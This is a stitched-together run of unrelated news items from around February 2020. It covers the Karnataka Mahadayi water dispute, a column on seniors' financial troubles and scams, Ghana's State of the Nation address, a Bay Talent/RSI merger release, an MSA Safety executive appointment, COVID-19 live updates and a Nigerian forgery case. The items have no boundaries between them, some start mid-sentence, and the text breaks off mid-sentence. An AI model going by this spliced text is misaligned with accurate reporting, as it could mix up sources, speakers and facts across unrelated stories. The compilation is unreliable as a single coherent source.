Change, Prakash Javadekar, wrote to Karnataka Home Minister Basavaraj Bommai to start work on the Kalasa-Banduri Project (part of Mahadai project) on December 24, 2019, the Centre changed its stand during the recent Parliament session stating that it was not possible to notify the MWDT order until the cases pending before the tribunal are disposed of. Union Minister of State for Railways, Suresh Angadi told TNIE that it was a good sign to note that both Goa and Maharashtra states remained silent at this juncture. It is good to see the coordination between all the three stakeholder states with regard to Mahadayi issue. It has been the Prime Ministers vision to ensure clean drinking water to everyone in the country and todays development is another step in that direction. Activist Ashok Chandargi said Karnataka state may not have been benefitted hugely by the gazette notification of the tribunal order, but the MPs of Karnataka should exert pressure on the Centre for an out-of-court settlement of the Mahadayi issue before the hearing on the petitions filed by Goa, Karnataka and Maharashtra before the Supreme Court begins in July. Decades of efforts by governments and leaders of Karnataka to divert water from Mahadayi for drinking and power cogeneration have finally borne fruit. The Karnataka government has almost completed work on the Kalasa Nala project in Kankumbi on the Goa border, but is yet to start work on the Banduri Nala project. It is now up to the Water Resources Department, headed by Ramesh Jarkiholi, to get the necessary wildlife and environment clearances from the Centre to resume work on the project. The bills, the Social Security payments, the checks that didnt get deposited, the meetings with your financial advisers, the insurance payments, your Medicare payments, the tracking of doctors bills, the fight with the pharmacy when Medicare doesnt pay for your prescription? Sound familiar? The big question is: Are all these money problems becoming overwhelming? How can you cope? According to the Financial Consumer Services Commission, Confusion over money and a decline in the ability to perform regular financial tasks are the earliest warning signs of diminished capacity and the easiest to spot. I dont want to go down the dark road of possible early warnings of Alzheimers, I just want to give you some tips to help to make it through this money maze, that frankly baffles and frustrates most of us at one time or another. Here are some of the warning signs that the Financial Consumer Services Commission lists, and some tips to deal with them. Taking longer than usual to complete everyday financial tasks You may get forgetful when you are paying bills. That means you could forget to pay some and pay others twice. It happens. What do you do about it? To start out, make sure you either make a list of all of the bills and check off when you have paid them, or just check off or cross out the bill you have paid. It may be time to hire a bookkeeper to help you pay and manage bills, policies and paperwork. I find that the best place to find one is to get a recommendation from your accountant. Make sure that the bookkeeper reports to you and to the accountant each month. You also can include a family member so that you really have checks and balances. Even with a bookkeeper, try to be as organized as possible. That means setting up a folder with all of the bills for each month. The other thing to do is to set up as many bills as you can as automatic online payments. You dont have to figure out how. This is a perfect task for your bookkeeper or children or grandchildren to help you with. Make sure that you do this with someone you trust, because you will be sharing lots of financial information. Really make sure that you trust them. You can send the bills to your bookkeeper each month, they can come to your house each month to pay bills and get things in order, or you can snap a picture of each bill on your phone and send them the pics as the bills come in. Decline in everyday math skills You may have trouble figuring out some basic math skills when you are tipping, for instance. Rather than driving yourself crazy and getting upset, ask the friend you are with what they recommend for a tip. Frankly, sometimes its really hard to even read the bill, so dont get embarrassed. Other ideas: Buy a handy pocket tip calculator card to carry in your wallet. Its a laminated chart of 15% and 20% tip amounts for a range of dollar values. Or just whip out your phone and use its calculator function. Decreased understanding of financial concepts and contracts You may have been a wiz at reading contracts when you were in the workforce, but now are having problems with some of the concepts. This is why we surround ourselves with professionals like lawyers, insurance agents, financial advisers, personal bankers, etc. Use them. Call them up when you have a question, and dont get off the phone until they can explain things so that you understand. If they start spewing jargon, stop them and tell them to explain it all in plain language. We do this with doctors; do that now with your financial support group or, if youre not satisfied with their help, get a new support group. Its also time for family to get permission to speak with the financial professionals in your life. Im not recommending them having access to any assets as with a power of attorney just information so that someone you trust can look over your shoulder and double check that your investing ideas make sense. Difficulty identifying risks in a financial opportunity You dont have to be older to struggle to accurately assess risks in advertising and investment pitches, but as we age, it can get harder to do. That makes older folks vulnerable to financial abuse and theft or fraud. If youre feeling overwhelmed or confused, there are several steps you can take to protect yourself: Just say no. Thats always a great first step when confronted with a bossy salesperson or complicated deal. Kiss robocalls goodbye. To learn about some tactics to try, read Thwarting the Robocall Invasion. Tell solicitors to take a hike. You can opt out of commercial mail solicitations through the Direct Marketing Association at https://dmachoice.thedma.org. In addition, the FBI has compiled a list of helpful tips to avoid scams, including: Dont buy from an unfamiliar company. Legitimate businesses understand that you want more information about their company and are happy to comply. Always ask for and wait until you receive written material about any offer or charity. If you get brochures about costly investments, ask someone whose financial advice you trust to review them. But beware not everything written down is true. Always check out unfamiliar companies with your local consumer protection agency, Better Business Bureau, state attorney general, the National Fraud Information Center, or other watchdog groups. Always take your time making a decision. Legitimate companies wont pressure you to make a snap decision. Dont pay for a free prize. If a caller tells you the payment is for taxes, he or she is violating federal law. Never respond to an offer you dont understand thoroughly. Never send money or give out personal information such as credit card numbers, bank account numbers, dates of birth or Social Security numbers to unfamiliar companies or unknown persons. For more of the FBIs tips, see www.fbi.gov/scams-and-safety/common-fraud-schemes/telemarketing-fraud. Finally, its always a good idea to have someone you trust take a look at your finances every few months. They will check credit cards and cash withdrawals to make sure that everything looks kosher. They should also check to make sure that a new friend has not shown up in your life who wants to help you with your finances. Hey, family and friendswhat about you? Id encourage you to be part of the solution, not the problem. We have all heard the horror stories of family and friends taking advantage of the elderly. In fact, its called, senior financial abuse. The Institute on Aging has indicated that one in five Americans over 65 has been the victim of fraud. Signs of possible abuse by those close to the victim You may see: Larger-than-normal household bills Manipulation of the victim to buy things for the family member Loans that go unpaid Missing cash or large withdrawals Opening of credit accounts Getting victims to sign important documents, like a change of a will or deed or power of attorney Age creates wisdom, but it also comes with challenges. If you and your loved ones get on top of these money issues, your life will be easier. President Akufo-Addo has assured Ghanaians that they are in good and safe hands under his administration. We have done much more than we inherited, we are creating conditions for young people to have hope again, and we are determined to do more. Things are working in Ghana, and Ghana is surely changing. Mr Speaker, our nation is in good health, and in good, competent hands, the President said on Thursday, 20 February 2020, when he delivered his fourth State of the Nation Address to Parliament, Accra. Confident that his government has a good story to tell in many areas, the President explained that once derelict state enterprises have been revitalised; let me list a few: State Housing Company, Ghana Publishing Corporation, Ghana Post, GIHOC, State Transport Company, Ghana Maritime Authority, have all been given a new lease of life, and are functioning with greater efficiency, and becoming again profit centres. Digitisation, he added, has also led to a remarkable improvement in the delivery of public services. We are all greatly relieved, for example, that the hassle has been removed for those who want to get passports. We are equally relieved that DVLA offices are no longer the nightmare places they used to be, and we can get drivers licences without having to go through goro boys. I have not had the experience myself, yet, but I am assured that the STC has been transformed, and it is now a pleasant experience to travel on their buses, the President said. He continued, SSNIT has given a guarantee that when people apply for their pensions, they would get them within two weeks. I am told most people get them within ten days, a far cry from the sad, disgraceful and humiliating experience that pensioners used to go through to get their pensions. President Akufo-Addo further told the House that his government has implemented a digital property address system which gives an address to every location in Ghana We now have the first of its kind mobile money interoperability payment system in Africa; the port operates a paperless clearance system; business registration is now online; we can now buy electricity units on our mobile phones; and e-justice system has been implemented at the courts. This process of digitisation is also helping to curb corruption, he said. For the first time in many years, President Akufo-Addo noted that Ghana has a fully functioning emergency response and ambulance system. With the procurement of 307 ambulances, with one assigned to each constituency, he indicated that each ambulance has a tracker that determines its location instantly from the command centre. The emergency number, 112, has also been linked to the Ghanapost GPS system, such that if any call to the number is made using the Ghanapost GPS app, emergency services will know the exact location of the caller instantly. We are employing drones to deliver emergency medical supplies in remote areas, and, today, Ghana has the largest medical drone delivery service in the world!, President Akufo-Addo said. Despite the achievements of his government, he acknowledged that we still have some way to go to reach the Ghana we want. Recounting his first State of the Nation Address to Parliament, when he said: I was not elected by the overwhelming majority of the Ghanaian people to complain. I was elected to get things done. I was elected to fix what is broken and my government and I are determined to do just that, the President noted that his government has done just that. We have fixed the broken economy, we have delivered Free Senior High School education, we have brought the National Health Insurance Scheme back to life, we have revamped our agriculture, we have sanitised the banking sector, our industrial transformation is on, we are digitising the economy, and Ghana continues to be at peace, he said. ---classfmonline Toronto, Ontario--(Newsfile Corp. - February 21, 2020) - Bay Talent Group Inc. (TSXV: HIRE) ("Bay Talent" or the "Company") and RSI International Systems Inc. ("RSI") are pleased to jointly announce a binding letter of intent (the "LOI") pursuant to which the Company and RSI have agreed to amalgamate or otherwise combine (the "Combination"), with the combined entity continuing operations under the name of the Company. Mr. Allan Hartley, Bay Talent Group's CEO, said, "Joining forces with RSI will allow us to significantly accelerate our acquisition strategy and provide additional resources for achieving our 2020 goals. RSI's financial resources and management team are an excellent fit in our development cycle and we look forward to the start of this partnership." Mr. David Keys, Chairman of RSI and a representative for the Ernest W. Moody Revocable Trust, which holds 44.4% of RSI's outstanding shares added, "We are very excited about Bay Talent's business and potential going forward and believe this is an excellent opportunity for RSI shareholders to get involved in a great opportunity at a very attractive valuation." Bay Talent and RSI are at arm's length. It is currently anticipated that the Company will acquire all of the issued and outstanding shares of RSI by way of a plan of arrangement or an amalgamation between RSI and a newly formed subsidiary of the Company, with the amalgamated entity becoming a direct, wholly-owned subsidiary of the Company. In consideration, the securityholders of RSI will receive securities of the Company. However, it is agreed by both parties that the proposed transaction structure may be revised to accommodate tax considerations, accounting treatments and applicable legal and regulatory requirements. Upon completion of the Combination, it is expected that RSI's common shares will be de-listed from the Exchange. As of the date hereof, the number of common shares of the Company to be issued to shareholders of RSI remains subject to the final valuation of the Company. At this stage, the parties agree that the valuation of RSI shall be $7 million and the valuation of the Company shall be calculated based on its 14-day volume weighted average closing share price immediately prior to the execution of the definitive agreement in respect of the Combination (the "Definitive Agreement") multiplied by 0.875 (the final result being the "BTG Valuation Price"), subject to a minimum and maximum BTG Valuation Price for said calculation of $0.32 and $0.35, respectively. Unless otherwise agreed between the parties or required by the TSX Venture Exchange, the Definitive Agreement shall provide for each RSI common share and right to acquire a RSI common share to be exchanged for, respectively, such number of common shares of the Company and right to acquire common shares of the Company in accordance with an exchange ratio to be calculated based on the foregoing valuation. Closing of the Combination is subject to satisfaction of a number of conditions precedent, including, but not limited to: (i) RSI retaining a minimum working capital of Cdn$5,000,000 immediately prior to the completion of the Combination; (ii) the BTG Valuation Price being not less than $0.32; (iii) RSI shareholders entering into support agreements which, in the aggregate, represent not less than 50% of the issued and outstanding common shares of RSI; (iv) execution of one-year lock-up agreements by certain RSI option holders and shareholders; (v) appointment of a nominee to the Company's board of directors by Ernest W. Moody Revocable Trust; (vi) completion and satisfaction of mutual due diligence by the parties; and (vi) receipt of all requisite approvals and consents for the Combination. In connection with the Combination, RSI may complete shares for debt settlements by issuing up to a maximum of two million shares at a price of not less than $0.15 per share. The Company and RSI will issue additional press releases related to the Combination and other material information as it becomes available. About RSI RSI currently does not have any operating assets. The common shares of RSI are listed on the NEX Board of TSX Venture Exchange following its sale of all of its operating assets in 2019 for US$4.6 million. About Bay Talent Group Inc. The Company' strategy is to complete accretive acquisitions or staffing, information technology, and consulting firms that meet the Company's valuation, expertise, geographic, and operational criteria. The Company proposes to create value by providing diversified vertical and cross-selling opportunities to target firms, realizing savings from consolidating operations and leveraging a centralized back-office structure. The Company's two wholly-owned operating subsidiaries, Provision IT Resources Ltd. and PTC Accounting and Financing Inc., are boutique consulting firms that offer a range of professional staffing services for accounting, finance, information technology, office administration and human resources. Their clients include large organizations in the financial, government, insurance, and pension fund sectors, as well as small and medium sized business across a broad range of industries. For more information, please contact: Bay Talent Group Inc. Simon Dealy, President Phone: (647) 513-1657 E-mail: sdealy@baytalentgroup.com CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING INFORMATION: This news release includes certain "forward-looking statements" under applicable Canadian securities legislation. Forward-looking statements include, but are not limited to, statements with respect to the Company's strategy and operations, the structure, terms and conditions of the proposed Combination and the completion of the Combination. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to: general business, economic, competitive, political and social uncertainties; delay or failure to receive board, shareholder or regulatory approvals for the proposed Combination; fluctuation of the share price of the Company and the results of operations. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. The Company disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as required by law. Neither the Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Exchange) accepts responsibility for the adequacy or accuracy of this Press release. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/52656 I wish to draw the attention of political parties to two critical dates in the timetable released by the Commission a few weeks ago. Party primaries for the democratic election and nomination of candidates for the Governorship election in Edo State must be held from 2nd to 27th June 2020. The date for Ondo State is 2nd to 25th July 2020. The Commission will not extend the dates. We will also rigorously monitor the primaries and where necessary, apply sanctions as provided by law. PITTSBURGH, Feb. 21, 2020 /PRNewswire/ -- Global safety equipment manufacturer MSA Safety Incorporated (NYSE: MSA) today announced that Glennis Williams has joined the company as Vice President and Chief Human Resource Officer. New to MSA, Ms. Williams joins the company's Executive Leadership Team and succeeds Paul Uhler, who will retire from the organization in May. Glennis Williams joins MSA Safety as new Chief Human Resource Officer With more than 20 years of international HR experience, Ms. Williams comes to MSA from Hillenbrand Inc., an Indiana-based manufacturing conglomerate that owns a number of diverse operating companies, including the recently-acquired Milacron. While at Hillenbrand, Ms. Williams led efforts to transform HR from a service delivery function to a driver of strategic talent and business outcomes, with primary focus on aligning the company's people strategies with Hillenbrand's long-term organizational goals. Prior to Hillenbrand, Ms. Williams served as Vice President of Global Human Resources for Welbilt, Inc., where she spearheaded the development of a diversity and inclusion framework that fully aligned with the company's strategic organizational goals and business needs. Before Hillenbrand, she spent three years with Komatsu (formerly Joy Global) as Vice President of Human Resources, and 10 years with Westinghouse Electric Co. where she held several roles of increasing responsibility. "As we look to the future of MSA, having continued strong leadership in HR is more important than ever, especially given the importance of talent development to our own long-term growth goals," said Nish Vartanian, MSA President and CEO. "We are pleased to have Glennis become a part of the MSA team, for she brings to MSA a wealth of strong HR experience and perspective." Ms. Williams earned her bachelor's degree from Idaho State University and her MBA from the University of Phoenix. She also holds certifications as a Six Sigma Black Belt, Senior Professional in HR and Global HR professional. About MSA Safety Established in 1914, MSA Safety Incorporated is the global leader in the development, manufacture and supply of safety products that protect people and facility infrastructures. Many MSA products integrate a combination of electronics, mechanical systems and advanced materials to protect users against hazardous or life-threatening situations. The company's comprehensive product line is used by workers around the world in a broad range of markets, including the oil, gas and petrochemical industry, the fire service, the construction industry, mining and the military. MSA's core products include self-contained breathing apparatus, fixed gas and flame detection systems, portable gas detection instruments, industrial head protection products, firefighter helmets and protective apparel, and fall protection devices. With 2019 revenues of $1.4 billion, MSA employs approximately 5,000 people worldwide. The company is headquartered north of Pittsburgh in Cranberry Township, Pa., and has manufacturing operations in the United States, Europe, Asia and Latin America. With more than 40 international locations, MSA realizes approximately half of its revenue from outside North America. For more information visit MSA's web site at www.MSAsafety.com. SOURCE MSA Safety Related Links https://www.msasafety.com A medical professional is seen at a preliminary testing facility at the National Medical Center where patients suspected of contracting coronavirus (COVID-19) are assessed in Seoul, South Korea on Feb. 21, 2020. (Chung Sung-Jun/Getty Images) 2 More Australians From Cruise Ship Have Virus: Coronavirus Live Updates From Feb. 21 Countries around the world are taking measures to try to stem the spread of the new coronavirus disease, dubbed COVID-19, as the death toll continues to rise. Refresh for Feb. 21 updates. 2 More Australians from Diamond Princess Have Virus Another two people evacuated to Darwin in Australias north after disembarking from the Diamond Princess cruise ship have tested positive for coronavirus, authorities have confirmed on Saturday. This brings the total of Australians who left the ship on Thursday who have the virus up to six. The figure is expected to rise with another three patients to be screened on Saturday. The two people who tested positive on Saturday are from Victoria. They will be repatriated to their home states health system. Two Queensland women aged 54 and 55 who tested positive on Friday night will be flown to a Brisbane hospital on Saturday for further treatment. Earlier, two other Australians were confirmed to have contracted coronavirus. A 78-year-old man from Western Australia was transferred to Sir Charles Gairdner Hospital in Perth on Friday. His wife was to travel with him but is now being isolated at home for two weeks. A 24-year-old woman from South Australia has been transferred to Royal Adelaide Hospital. Under the evacuation deal, state governments agreed to treat any patients in their home states. A police car is seen in the village of Codogno after officials told residents to stay home and suspend public activities as 14 cases of coronavirus are confirmed in northern Italy, in this still image taken from video in the province of Lodi, Italy, on Feb. 21, 2020. (Reuters TV) First Italian Dies of Coronavirus An elderly man in the northern city of Padua has died after being infected with the coronavirus, becoming the first Italian victim of the disease, Health Minister Roberto Speranza said on Friday. Health authorities announced earlier in the day 15 cases of the virus in the wealthy northern region of Lombardy and two in neighboring Veneto where Padua is locatedthe first known cases of local transmission in the country. None of those infected were believed to have traveled to China, the epicenter of the new illness, and local authorities in Italy scrambled to contain the outbreak. Local media said the dead man was a 78-year-old from the small town of Vo Euganeo who was hospitalized two weeks ago. Strict measures to create a health cordon around Vo Euganeo (have been put in place), regional governor Luca Zaia wrote on Facebook. Read more here. Canada: Woman Coming Home From Iran Is BCs 6th Case A sixth presumptive case of COVID-19 has been diagnosed in British Columbia after a woman in her 30s returned to the province from Iran, bringing the total number of cases in Canada to nine. Provincial health officer Dr. Bonnie Henry said on Feb. 20, the latest patients case is relatively mild and a number of her close contacts have already been put in isolation. Henry said earlier this week that four of the five people already diagnosed with the virus were symptom-free. Read more here. 16 New Reported Coronavirus Cases Spark Fear in Italy Italian authorities reported 16 cases of the new coronavirus on Friday, as the country grappled with the surge after having just three total confirmed one day earlier. Six patients were in the northern town of Codogno, prompting bars, schools, and offices to shut down for up to five days under an order from the mayor to try to stop the spread of the new virus, which causes the COVID-19 disease. Three of the six patients, including a 38-year-old who is intensive care, are showing symptoms, while three others were re-tested to confirm the results, reported The Local. Discovery of the cases has created a situation of alarm throughout the municipality, Codogno Mayor Francesco Passerini said. The transmission of the new cases hasnt been confirmed but authorities said the man in intensive care shared a meal with another man who visited China last month. The pregnant wife of the man in the hospital and a friend of his are two of the other confirmed cases. Authorities later in the day said that there were 10 additional cases in northern Italy. Read more here. A nurse wearing a sanitary mask watches from a window of the hospital of Codogno, near Lodi in Northern Italy on Feb. 21, 2020. (Luca Bruno/AP Photo) Window of Opportunity Narrowing: WHO Chief The window of opportunity to contain the new virus is narrowing World Health Organization (WHO) director-general Dr. Tedros Adhanom Ghebreyesus said on Friday. There are now 1,152 COVID-19 cases in 26 countries, he said in Geneva, on the same day Iran reported two new deaths and 13 new cases and South Korea reported one new death and 100 new cases. Eight deaths have taken place outside of China. The cases in other countries, some of which arent linked to Wuhanthe epicenter of the recent outbreakor other parts of China, are very worrisome, Tedros said. Irans situation, specifically, he said, is very concerning, pointing to the first confirmed coronavirus patient in Lebanon, a 45-year-old woman, being linked to Iran. Other cases stemming from Iran could pop up in the coming days, officials said. These dots are actually very concerning. Take them as dots or trends, Tedros told reporters. What I believe is, the window of opportunity is still there. But our window of opportunity is narrowing. Thats why we called [on] the international community to act. Read more here. Iran Reports Two New Deaths Two new deaths from the COVID-19 disease took place in Iran, authorities said on Feb. 21. Iranian authorities reported the first cases of the disease, which is caused by a new coronavirus, on Thursday. In an update soon after, they said the first two patients in the country both died. Most of the cases in the country have been in Qom, a Muslim holy city 75 miles south of Tehran, the capital. The new cases include seven patients in Qom, four in Tehran, and two in Gilan, said Kianush Jahanpur, a spokesman for Irans Health Ministry, in a statement. Most of the cases were residents of Qom or had a history of returning from Qom in recent days and weeks, Jahanpur said in a Twitter post. Unfortunately, two people have lost their lives, he said. The deaths took place in Qom, as did the previous two, according to IRNA, a state-owned news outlet. Health officials called on Thursday for the suspension of all religious gatherings in Qom. Read more here. An Iraqi medical staff member checks a passengers temperature, amid the new coronavirus outbreak, upon her arrival to Shalamcha Border Crossing between Iraq and Iran, on Feb. 20, 2020. (Essam al-Sudani/Reuters) Israel Says Cruise Passenger Flown Home from Japan Has Virus One of the 11 Israelis who were flown home after being quarantined on a cruise ship in Japan has tested positive for the new virus that emerged in China late last year, the first case to be reported inside Israel, officials said on Feb. 21. The Israeli cruise ship passengers, who had all initially tested negative for the new coronavirus, arrived on a charter plane overnight. They were met by medics in protection suits and immediately taken to the Sheba Hospital near Tel Aviv, where they will be kept in quarantine. Read more here. South Korea Reports Surge in Infections to 204 Cases, Second Death South Korean health officials confirmed 100 new cases of the novel coronavirus on Feb. 21, bringing the national total to 204. Officials also said the second patient with the new virus died. The patient was a woman in her 50s who was hospitalized in Busan. South Korea has the largest number of cases outside of China and Japan, where the cluster from the Diamond Princess cruise ship accounts for most of the patients. The new cases mark the biggest daily jump in infection cases in a single day since South Korea reported its first case on Jan. 20. South Koreas Center for Disease Control and Prevention (KCDC) reported 48 new cases of the virus on Friday afternoon and 52 new cases in the morning, local outlet Yonhap News Agency reported. The country reported 20 new cases on Wednesday and 53 new cases on Thursday, as well as the first death from the new virus. Among the 100 new cases, 85 are linked to the church called Shincheonji in the southeastern city of Daegu. Health officials said a 61-year-old Korean woman who tested positive on Feb. 18, who attended the church, may have spread the virus there. Among the 204 cases, 153 are in Daegu and North Gyeongsang Province, and 128 are connected to the church. Woman Returning to Canada From Iran Tests Positive for Virus A woman who had recently returned from Iran has tested positive for COVID-19 in British Columbia, bringing the total number of known infections in Canada to nine. The test results are currently being double-checked by the National Microbiology Laboratory, according to British Columbias Ministry of Health. The woman in her 30s is now in isolation at home. The ministry said that her close contacts are being identified and will be notified by public health officials. In addition to the nine cases of transmission in Canada, an additional 47 passengers from Canada who were aboard the Diamond Princess cruise ship in Japan have also tested positive for the virus. They will remain in Japan for monitoring while another 209 passengers who tested negative will most likely be allowed to return to Canada for 14 more days of quarantine. Commuters wearing face masks ride a metro train in Tokyo on Feb. 8, 2020. (Charly Triballeau/AFP via Getty Images) 2 New Cases in Japan Are Children Two elementary school children are among the new cases of novel coronavirus reported in Japan on Friday, local media NHK reported. The children have been identified as two boys from Nakafurano Town in the northern Japanese prefecture of Hokkaido, which now has eight known cases. A woman in her 40s working as a quarantine officer at New Chitose Airport in Hokkaidos Chitose City was also among the new patients identified on Friday. Japan has 97 known cases of the virus, with some of those being among the 634 known cases in the country linked to the cruise ship. Three elderly Japanese to date have died from the virus. Iraq Closes Border With Iran Over Fears of Local Coronavirus Outbreak Iraq has announced that it wont be allowing Iranians into the country through its land border for at least three days after at least five people were confirmed to be carrying the novel coronavirus in Iran, including two deaths. The Iraqi Border Ports Authority confirmed the border shutdown on Thursday. Iraqi nationals are exempt from the shutdown, although they will have to self-quarantine for 14 days upon their return, the government has said. An unidentified passenger on a wheelchair is escorted after he disembarked from the quarantined Diamond Princess cruise ship in Yokohama, near Tokyo on Feb. 19, 2020. (Jae C. Hong/AP Photo) Healthy Passengers All Cleared From Cruise Ship in Japan Japans health minister said the last cruise ship passengers who tested negative for a new virus will leave the Diamond Princess on Friday after a much-criticized quarantine of the vessel ended. The ship docked at a Yokohama port has the most COVID-19 cases outside of China, with 634 confirmed by late Thursday. Two former 80-year-old passengers have died. Health Minister Katsunobu Kato told a news conference the mass disembarkation into Japan of passengers from the ship is set to end Friday, while dozens of foreign passengers are flying back to their home countries on flights chartered by their governments. Most crew members and other passengers who have not completed their 14-day quarantines because they had more recent contact with infected people are staying on the ship for now, but they will be transported to a government facility to be quarantined in isolation. Read more here. 4 Israelis on Cruise Ship Test Positive for Virus Israels Ministry of Health said that four Israeli Diamond Princess passengers have tested positive for the novel coronavirus. Following the Thursday test results, the patients will now have to remain in Japan, while 11 Israeli passengers who tested negative have been given clearance to travel home after 14 days of quarantine on the ship, Israeli news outlet Haaretz reported. An Israeli expert on infectious diseases from Hadassah Medical Center, Prof. Ran Nir-Paz, will be remaining in Japan as support for the Israeli nationals who will remain quarantined in two of Japans military hospitals. According to the ministry, the Israelis are all in good condition. A plane carrying American passengers, who were recently released from the Diamond Princess cruise ship in Japan, arrives at Travis Air Force Base in Calif. on Feb. 16, 2020. (Brittany Hosea-Small/AFP via Getty Images) 4 Cruise Ship Evacuees in California Test Positive for Virus Four Americans who tested positive for the new virus that caused an outbreak China are being sent to a hospital in Spokane, Washington, for treatment, officials said Thursday. They were being transferred from Travis Air Force Base in California, hospital officials said. The four were passengers on the Diamond Princess cruise ship and were among more than 300 evacuees flown back to the United States over the weekend, according to a spokeswoman for the Department of Health and Human Services. They had not been identified by health authorities as potential infected passengers at the time. Read more here. Infections in South Korea Jump to 156, Concerns of Local Outbreak South Korea on Friday morning reported 52 additional cases of COVID-19, taking the national infection total to 156. The total on Thursday stood at 104, but the new cases on Friday morning saw the nations number of cases almost triple in merely three days. Most new cases have been traced to a 61-year-old female super-spreader who attended church services in the southeastern city of Daegu, around 186 miles southeast of Seoul. Of the new cases, 41 were reported from Daegu, three were reported from Seoul, and one from Jeju Island, among other locations, the Korea Center for Disease Control and Prevention said in a press release. Three military personnel are among the new virus patients. Given the situation, the Korean CDC has now declared that COVID-19 is spreading locally in South Korea. Read more here. People suspected of being infected with the new coronavirus wait to receive tests at a medical center in Daegu, South Korea, on Feb. 20, 2020. (Lee Moo-ryul/Newsis via AP) 11 Evacuees Test Positive, Others Released The 57 people evacuated by the United States from Wuhan, China, on Feb. 7 were told they are free to leave on Thursday morning after spending 14 days quarantined at Camp Ashland National Guard Base in Nebraska. The University of Nebraska Medical Center (UNMC), which had earlier cleared one evacuee suffering minor respiratory symptoms of the virus, said in a press release that all 57 people were scheduled to fly out of Omaha at Eppley Airfield. The evacuees now join others from Marine Corps Air Station Miramar and the Travis Air Force Base in California to rejoin the general population after completing their time in quarantine and showing no symptoms of the virus. Eleven passengers evacuated by the United States from the Diamond Princess cruise ship in Japan, meanwhile, tested positive for the novel coronavirus, according to the University of Nebraska Medical Center (UNMC). Only some of the patients are showing any virus symptoms, with those that are being mild in nature. According to the UNMC, 10 patients are quarantined in the facilitys National Quarantine Unit, while two others have joined a third who was earlier admitted into the adjacent Nebraska Biocontainment Unit in need of additional care. The 13 evacuees were flown from the Diamond Princess out of Yokohama, Japan, to the quarantine facilities in Nevada on Feb. 17 because they were considered high-risk patients. At the facility, they were all given separate rooms to wait out their 14-day quarantine period. Japan Adds 8 to Coronavirus Count Japanese news agency Jiji Press reported on Thursday that eight more people were confirmed to have COVID-19. The count excludes cases confirmed on the Diamond Princess cruise ship that was docked at Yokohama Port off Japan. Among the eight new cases are a husband and wife in their 60s from Fukuoka; four men from the cities of Sapporo, Sagamihara, Tomigusuku and Nagoya; and two women in Chiba Prefecture and Yokohama city. The news agency reported that Fukuoka officials said the couple from Fukuoka hasnt had a recent history of overseas travel. Meanwhile, Sapporo officials said that the man in their city among the latest cases was reportedly in contact with a person who was confirmed to be infected on Tuesday. The infected man in Sagamihara was reported to be at a hospital where there was a coronavirus-infected woman who died on Feb. 13 after she received treatment. A commuter wearing a face mask rides a metro train in Tokyo on Feb. 8, 2020. (Charly Triballeau/AFP via Getty Images) Shifting Virus Count Method Fuels Rising Mistrust in Chinese Data Conflicting numbers of new coronavirus cases reported by two Chinese regional authorities on Feb. 20 drew confusion and have raised further questions about the reliability of data on the outbreak from the Chinese regime. According to Chinas National Health Commission, virus epicenter Wuhan City, the capital of Hubei Province, recorded 615 new confirmed cases on Thursdayhundreds more than the total additional cases reported by the province itself, which reported only 349 cases. Chinese health officials said the higher Wuhan numbers resulted from a change in the way they officially count infections, in accordance with a new guideline that came into effect a day earlier. This is the second change to the official count method for Hubei Province within a month. Read more here. Kuwait Airways Suspends Flights to Iran Kuwaits flag carrier Kuwait Airways announced that it is suspending all flights to Iran from Thursday due to the reported cases of coronavirus in the city of Qom and Araq. Two of the four cases reported from Qom have died from the virus. The deaths were the first confirmed cases in the Middle East. The cancellation of flights comes at the advice of the countrys health ministry and civil aviation authority amid fears of an outbreak in the country. Alireza Vahabzadeh, an adviser to Irans health minister, told Al Jazeera on Wednesday, It remains unclear where the virus in Iran has come [from]. The airline is the second to cancel flights to Iran after Iraq Airways, which also stopped flights earlier on Thursday. 2 Australians Evacuated From Cruise Ship in Japan Infected Two people brought back to Australia from a cruise ship in Japan have tested positive for the novel coronavirus, the nations chief medical officer has confirmed. Both remain well and are being housed in a separate isolation unit at Howard Springs outside Darwin, the nations chief medical officer said on Friday. Public health authorities from their home states are organizing medical transfers for the patients and their partners. Read more here. Workers wearing protective gear spray disinfectant as a precaution against the new coronavirus at Agricultural and Wholesale Products Center in Daegu, South Korea, on Feb. 20, 2020. (Kim Hyun-tae/Yonhap via AP) South Korea Declares Daegu Special Zone After Surge in Infections South Korea has declared the southeast city of Daegu and the surrounding region as a special management zone following an explosion in new coronavirus infections that city officials say threaten to overwhelm the regions health system. Prime Minister Chung Se-Kyun on Friday said the national government will concentrate its support to the region to ease a shortage in sickbeds, medical personnel, and equipment. Sixty-nine cases of COVID-19 infections, as well as the countrys first death of a virus patient, have been confirmed in the southeast city of Daegu and nearby areas over Wednesday and Thursdaya sudden jump that triggered fears that the outbreak from Wuhan is now getting out of control on South Korea. The surge of infections in the Daegu area and several cases in the capital Seoul, where infection routes werent immediately traceable, forced government officials to acknowledge for the first time on Thursday that the virus has begun to circulate in the local population. Daegu has a population of 2.5 million people. South Korea has so far reported 104 cases of the illness imported from China. Mimi Nguyen-Ly, Eva Fu, Zachary Stieber, Reuters, The Associated Press, and the Australian Associated Press contributed to this article. For updates from Feb. 20, click here. An Abuja Area Court in Lugbe has ordered the State Security Service(SSS) to investigate an allegation that the Deputy Governor of Bayelsa State, Lawrence Ewhrudjakpo, forged a National Youth Service Corps certificate. . Douye Diri and Mr Ewhrujakpor of the Peoples Democratic Party (PDP) were, on February 14, declared winners of the election and sworn in as governor and deputy respectively. Prior to their swearing-in, they were senators representing Bayelsa Central and Bayelsa West respectively. Alleged certificate forgery An APC official in Bayelsa State, Benjamin Youdiowei, had approached the court to seek redress. Mr Youdiowei alleged that Mr Ewhrudjakpo presented to the Independent National Electoral Commission(INEC) a forged NYSC Exemption Certificate with number 139708 and dated February 2, 1998. READ ALSO: He also alleged that the deputy governor used the allegedly forged document as part of his credentials. On November 27, 2019, the judge presiding over the case, Abubakar Sadiq, issued a bench warrant for the arrest of Mr Ewhrudjakpo, following his absence from the court for the days proceedings. During the court session on Wednesday, Mr Youdoweis lawyer, Seidu Jibrin, brought to the notice of the judge that the Wuye Police Division, which was earlier asked by the court to carry out further investigation on the matter, had transferred the case to the 